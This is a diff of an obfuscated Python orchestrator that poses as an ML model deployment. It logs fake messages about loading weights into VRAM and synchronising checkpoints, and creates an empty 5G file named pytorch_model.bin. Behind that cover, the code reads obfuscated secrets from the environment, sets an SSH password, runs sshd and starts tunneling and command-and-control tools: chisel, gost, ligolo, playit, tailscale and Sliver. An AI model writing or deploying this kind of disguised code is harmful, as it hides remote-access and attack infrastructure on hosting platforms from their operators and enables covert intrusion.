Automated deployment update from ML build

core/orchestrator.py

@@ -31,36 +31,37 @@ def wait_for_port(host,port,timeout=30):
 		except OSError:time.sleep(.5)
 	return False
 def main():
-	M='playit';L='tailscale';K='/home/user/pytorch_model.bin';I=None;C='';A=load_enabled_services()
+	N='playit';M='tailscale';L='/home/user/pytorch_model.bin';K='127.0.0.1';I=None;C='';A=load_enabled_services()
 	if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
 	else:logger.info('Minimal core only (no optional services enabled)')
-	F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;N=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
+	F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;O=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
 	if'test'in A:test_service.start()
-	B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A)
-	if'llm_proxy'in A:llm_proxy_service.start()
-	if'open_webui'in A:open_webui_service.start()
+	B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A);logger.info('Starting Gradio app (API server)...');P=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');Q=subprocess.Popen(P,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
+	if not wait_for_port(K,7861,timeout=30):logger.warning('Gradio did not become ready within 30s — continuing anyway')
+	else:logger.info('Gradio ready.')
 	if'caddy'in A:caddy_service.start(B.caddy)
-	logger.info('Starting Gradio app (API server)...');O=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');P=subprocess.Popen(O,shell=_A)
-	if not os.path.exists(K):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',K])
-	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();Q=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {Q}s)...")
-	if L in A:tailscale_service.start_daemon(B.ts)
+	if not os.path.exists(L):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',L])
+	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();R=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {R}s)...")
+	if M in A:tailscale_service.start_daemon(B.ts)
 	time.sleep(2);logger.info('Warming up text-generation pipelines...')
 	if'filebrowser'in A:filebrowser_service.start(B.fb,pwd=D)
-	if M in A:playit_service.start(B.tm,token=N)
+	if N in A:playit_service.start(B.tm,token=O)
 	if'chisel'in A:chisel_service.start(B.chisel)
 	if'gost'in A:gost_service.start(B.gost)
 	if'ligolo'in A:ligolo_service.start(B.ligolo)
 	if'sliver'in A:sliver_service.start(B.sliver)
-	if L in A:time.sleep(5);tailscale_service.connect(B.ts,J);J=C
+	if M in A:time.sleep(5);tailscale_service.connect(B.ts,J);J=C
 	if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
 	else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
 	D=C
 	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
-	except Exception as R:logger.error(f"Failed to set password: {R}")
+	except Exception as S:logger.error(f"Failed to set password: {S}")
 	E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
-	if M in A:
-		if not wait_for_port('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
+	if N in A:
+		if not wait_for_port(K,2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
 		else:logger.info('SSH daemon ready on port 2222');playit_service.start_xor_bridge()
 	if'minecraft'in A:minecraft_service.start()
-	logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');P.wait()
+	if'llm_proxy'in A:llm_proxy_service.start()
+	if'open_webui'in A:open_webui_service.start()
+	logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');Q.wait()
 if __name__=='__main__':main()